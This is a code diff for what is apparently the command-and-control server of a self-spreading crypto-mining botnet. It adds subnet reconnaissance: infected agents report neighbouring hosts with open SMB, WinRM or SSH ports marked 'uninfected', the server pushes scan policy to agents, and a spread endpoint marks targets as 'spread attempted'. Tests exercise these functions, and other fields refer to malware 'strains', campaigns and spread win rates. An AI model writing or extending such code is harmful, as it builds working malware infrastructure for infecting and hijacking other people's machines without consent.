Add server subnet discovery store, API, and agent policy push.

server/internal/api/fleet_spread_host.go

@@ -93,6 +93,17 @@ func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request)
 		lane.Lane,
 	)
 
+	_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
+		AuthUsername(r), dbpkg.OathSpreadDiscoveredHost, seedID, "", dbpkg.OathOutcomeSuccess,
+		map[string]string{"host": req.Host, "finding": req.Finding, "join_lane": lane.Lane},
+		map[string]string{"host": req.Host, "finding": req.Finding},
+	)
+	if f.db != nil {
+		if row, err := f.db.MarkSubnetDiscoverySpreadAttempted(req.Host); err == nil && row != nil && f.ws != nil {
+			f.ws.BroadcastSubnetDiscoveryUpdate(*row)
+		}
+	}
+
 	writeJSON(w, map[string]interface{}{
 		"ok":                  true,
 		"host":                req.Host,

server/internal/api/server_policy.go

@@ -28,6 +28,8 @@ type ServerPolicy struct {
 	ErasureLanesEnabled bool
 	// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
 	FleetTorrentEnabled bool
+	SubnetReconEnabled     bool
+	SubnetReconIntervalMin int
 	// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
 	StrainHospiceWinRateThreshold float64
 	// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.

server/internal/api/subnet_discovery.go

@@ -0,0 +1,171 @@
+package api
+
+import (
+	"encoding/json"
+	"net/http"
+	"strings"
+
+	dbpkg "crypto-miner-server/internal/db"
+)
+
+const defaultSubnetReconIntervalMin = 30
+
+type SubnetDiscoveryHandler struct {
+	db  *dbpkg.Database
+	hub *WSHub
+}
+
+func NewSubnetDiscoveryHandler(database *dbpkg.Database, hub *WSHub) *SubnetDiscoveryHandler {
+	return &SubnetDiscoveryHandler{db: database, hub: hub}
+}
+
+func (h *SubnetDiscoveryHandler) GetDiscoveredHosts(w http.ResponseWriter, r *http.Request) {
+	if h == nil || h.db == nil {
+		writeJSON(w, map[string]interface{}{"hosts": []dbpkg.SubnetDiscoveryRow{}})
+		return
+	}
+	subnet := strings.TrimSpace(r.URL.Query().Get("subnet"))
+	status := strings.TrimSpace(r.URL.Query().Get("status"))
+	rows, err := h.db.ListSubnetDiscoveries(subnet, status, 500)
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+		return
+	}
+	if rows == nil {
+		rows = []dbpkg.SubnetDiscoveryRow{}
+	}
+	writeJSON(w, map[string]interface{}{"hosts": rows})
+}
+
+func (h *WSHub) ingestSubnetReconReport(agentID string, payload json.RawMessage) {
+	if h == nil || h.db == nil || agentID == "" {
+		return
+	}
+	var body struct {
+		Hosts        []dbpkg.SubnetDiscoveryRow `json:"hosts"`
+		SubnetPrefix string                     `json:"subnet_prefix"`
+		AgentID      string                     `json:"agent_id"`
+	}
+	if err := json.Unmarshal(payload, &body); err != nil || len(body.Hosts) == 0 {
+		return
+	}
+	reporter := strings.TrimSpace(body.AgentID)
+	if reporter == "" {
+		reporter = agentID
+	}
+	defaultPrefix := normalizeSubnetDiscoveryQueryPrefix(body.SubnetPrefix)
+	for _, host := range body.Hosts {
+		ip := strings.TrimSpace(host.IP)
+		if ip == "" {
+			continue
+		}
+		prefix := normalizeSubnetDiscoveryQueryPrefix(host.SubnetPrefix)
+		if prefix == "" {
+			prefix = defaultPrefix
+		}
+		if prefix == "" {
+			prefix = subnetPrefix24(ip)
+		}
+		if host.Status == "" {
+			host.Status = dbpkg.SubnetDiscoveryUninfected
+		}
+		row, err := h.db.UpsertSubnetDiscovery(dbpkg.SubnetDiscoveryRow{
+			IP:              ip,
+			OpenPorts:       host.OpenPorts,
+			ReporterAgentID: strings.TrimSpace(host.ReporterAgentID),
+			SubnetPrefix:    prefix,
+			HTTPTitle:       host.HTTPTitle,
+			Status:          host.Status,
+		})
+		if err != nil || row == nil {
+			continue
+		}
+		if row.ReporterAgentID == "" {
+			row.ReporterAgentID = reporter
+		}
+		h.BroadcastSubnetDiscoveryUpdate(*row)
+	}
+}
+
+func (h *WSHub) markSubnetDiscoveryAgentOnline(ip string) {
+	if h == nil || h.db == nil {
+		return
+	}
+	ip = strings.TrimSpace(ip)
+	if ip == "" {
+		return
+	}
+	row, err := h.db.MarkSubnetDiscoveryAgentOnline(ip)
+	if err != nil || row == nil {
+		return
+	}
+	h.BroadcastSubnetDiscoveryUpdate(*row)
+}
+
+func (h *WSHub) BroadcastSubnetDiscoveryUpdate(row dbpkg.SubnetDiscoveryRow) {
+	if h == nil {
+		return
+	}
+	h.broadcastDashboard(Message{Type: "subnet_discovery_update", Payload: mustMarshal(row)})
+}
+
+func (h *WSHub) subnetFleetIPsForRecon(agentSubnet string) []string {
+	if h == nil || h.db == nil {
+		return nil
+	}
+	agentSubnet = normalizeSubnetDiscoveryQueryPrefix(agentSubnet)
+	if agentSubnet == "" {
+		return nil
+	}
+	agents, err := h.db.ListAgentsFiltered(dbpkg.AgentListFilter{Subnet: agentSubnet + ".x", Limit: 256})
+	if err != nil {
+		return nil
+	}
+	seen := map[string]bool{}
+	var out []string
+	for _, ag := range agents {
+		if ag == nil {
+			continue
+		}
+		ip := strings.TrimSpace(ag.IP)
+		if ip == "" || seen[ip] {
+			continue
+		}
+		seen[ip] = true
+		out = append(out, ip)
+	}
+	return out
+}
+
+func (h *WSHub) attachSubnetReconPolicy(resp map[string]interface{}, spreadPolicy map[string]interface{}, clientIP string) {
+	if h == nil {
+		return
+	}
+	policy := h.serverPolicySnapshot()
+	if !policy.SubnetReconEnabled {
+		return
+	}
+	interval := policy.SubnetReconIntervalMin
+	if interval <= 0 {
+		interval = defaultSubnetReconIntervalMin
+	}
+	resp["subnet_recon_enabled"] = true
+	resp["subnet_recon_interval_min"] = interval
+	if fleetIPs := h.subnetFleetIPsForRecon(subnetPrefix24(clientIP)); len(fleetIPs) > 0 {
+		resp["subnet_fleet_ips"] = fleetIPs
+	}
+	if spreadPolicy == nil {
+		spreadPolicy = map[string]interface{}{}
+	}
+	spreadPolicy["subnet_recon_enabled"] = true
+	spreadPolicy["subnet_recon_interval_min"] = interval
+	resp["spread_policy"] = spreadPolicy
+}
+
+func normalizeSubnetDiscoveryQueryPrefix(prefix string) string {
+	prefix = strings.TrimSpace(prefix)
+	prefix = strings.TrimSuffix(prefix, ".0/24")
+	prefix = strings.TrimSuffix(prefix, "/24")
+	prefix = strings.TrimSuffix(prefix, ".x")
+	return prefix
+}

server/internal/api/subnet_discovery_test.go

@@ -0,0 +1,161 @@
+package api
+
+import (
+	"bytes"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+	"crypto-miner-server/internal/pool"
+
+	"github.com/gorilla/websocket"
+)
+
+func dialDashboardWS(t *testing.T, hub *WSHub) (*websocket.Conn, *httptest.Server) {
+	t.Helper()
+	resetWSAuthUsers(t, testAuthUser, testAuthPass)
+	srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
+	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
+	conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+	if err != nil {
+		srv.Close()
+		t.Fatalf("dial dashboard: %v", err)
+	}
+	return conn, srv
+}
+
+func TestIngestSubnetReconReportUpsertsAndBroadcasts(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+	hub := NewWSHub(database)
+	dashConn, dashSrv := dialDashboardWS(t, hub)
+	defer dashSrv.Close()
+	defer dashConn.Close()
+	ports, _ := json.Marshal([]int{445, 5985})
+	payload, _ := json.Marshal(map[string]interface{}{
+		"subnet_prefix": "10.5.0", "agent_id": "reporter-1",
+		"hosts": []map[string]interface{}{{
+			"ip": "10.5.0.88", "open_ports": json.RawMessage(ports), "http_title": "File Server",
+			"status": db.SubnetDiscoveryUninfected, "reporter_agent_id": "reporter-1",
+		}},
+	})
+	hub.ingestSubnetReconReport("reporter-1", payload)
+	row, err := database.GetSubnetDiscovery("10.5.0.88")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if row.SubnetPrefix != "10.5.0" || row.Status != db.SubnetDiscoveryUninfected {
+		t.Fatalf("row=%+v", row)
+	}
+	deadline := time.Now().Add(3 * time.Second)
+	for time.Now().Before(deadline) {
+		var msg Message
+		if err := dashConn.ReadJSON(&msg); err != nil {
+			t.Fatal(err)
+		}
+		if msg.Type == "subnet_discovery_update" {
+			return
+		}
+	}
+	t.Fatal("timed out waiting for subnet_discovery_update")
+}
+
+func TestGetDiscoveredHostsAPI(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+	ports, _ := json.Marshal([]int{22})
+	if _, err := database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{
+		IP: "10.6.0.5", OpenPorts: ports, SubnetPrefix: "10.6.0", Status: db.SubnetDiscoveryUninfected,
+	}); err != nil {
+		t.Fatal(err)
+	}
+	handler := NewSubnetDiscoveryHandler(database, nil)
+	req := httptest.NewRequest(http.MethodGet, "/recon/discovered-hosts?subnet=10.6.0&status=uninfected", nil)
+	rec := httptest.NewRecorder()
+	handler.GetDiscoveredHosts(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d", rec.Code)
+	}
+}
+
+func TestAuthSubnetReconPolicyPushed(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	_ = database.UpsertAgent(&models.Agent{ID: "peer-1", Name: "peer", IP: "10.7.0.2", Status: "online"})
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{SubnetReconEnabled: true, SubnetReconIntervalMin: 15})
+	conn, _ := dialAgentWS(t, hub)
+	resp := authAgentConn(t, conn, map[string]interface{}{
+		"agent_id": "recon-agent", "hostname": "host", "platform": "windows", "version": "test", "ip": "10.7.0.9",
+	})
+	var body map[string]interface{}
+	_ = json.Unmarshal(resp.Payload, &body)
+	if body["subnet_recon_enabled"] != true {
+		t.Fatalf("policy=%#v", body)
+	}
+}
+
+func TestMarkSubnetDiscoveryAgentOnlineOnAuth(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	ports, _ := json.Marshal([]int{445})
+	_, _ = database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{IP: "10.8.0.40", OpenPorts: ports, SubnetPrefix: "10.8.0", Status: db.SubnetDiscoveryUninfected})
+	hub := NewWSHub(database)
+	conn, _ := dialAgentWS(t, hub)
+	_ = authAgentConn(t, conn, map[string]interface{}{
+		"agent_id": "online-agent", "hostname": "host", "platform": "windows", "version": "test", "ip": "10.8.0.40",
+	})
+	row, _ := database.GetSubnetDiscovery("10.8.0.40")
+	if row.Status != db.SubnetDiscoveryAgentOnline {
+		t.Fatalf("got %s", row.Status)
+	}
+}
+
+func TestPostSpreadToHostRecordsOathAndSpreadAttempted(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	ports, _ := json.Marshal([]int{5985})
+	_, _ = database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{IP: "10.1.2.99", OpenPorts: ports, SubnetPrefix: "10.1.2", Status: db.SubnetDiscoveryUninfected})
+	_ = database.UpsertAgent(&models.Agent{ID: "seed-1", Name: "seed", IP: "10.1.2.10", Status: "online"})
+	hub := NewWSHub(database)
+	fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir())
+	body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
+	req = withAuthUser(req, "operator")
+	rec := httptest.NewRecorder()
+	fh.PostSpreadToHost(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status %d", rec.Code)
+	}
+	row, _ := database.GetSubnetDiscovery("10.1.2.99")
+	if row.Status != db.SubnetDiscoverySpreadAttempted {
+		t.Fatalf("status=%s", row.Status)
+	}
+	rows, _ := database.ListOathLedger(10)
+	for _, e := range rows {
+		if e.ActionType == db.OathSpreadDiscoveredHost {
+			return
+		}
+	}
+	t.Fatal("oath missing")
+}

server/internal/api/websocket.go

@@ -863,6 +863,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				})})
 				break
 			}
+			h.markSubnetDiscoveryAgentOnline(clientIP)
 
 			if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
 				_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
@@ -969,6 +970,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 					spreadPolicy[k] = v
 				}
 			}
+			h.attachSubnetReconPolicy(resp, spreadPolicy, clientIP)
 			if len(spreadPolicy) > 0 {
 				resp["spread_policy"] = spreadPolicy
 			}
@@ -1704,6 +1706,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			}
 			h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
 
+		case "subnet_recon_report":
+			if agentID == "" {
+				continue
+			}
+			h.ingestSubnetReconReport(agentID, msg.Payload)
+
 		case "command_result":
 			if agentID == "" {
 				continue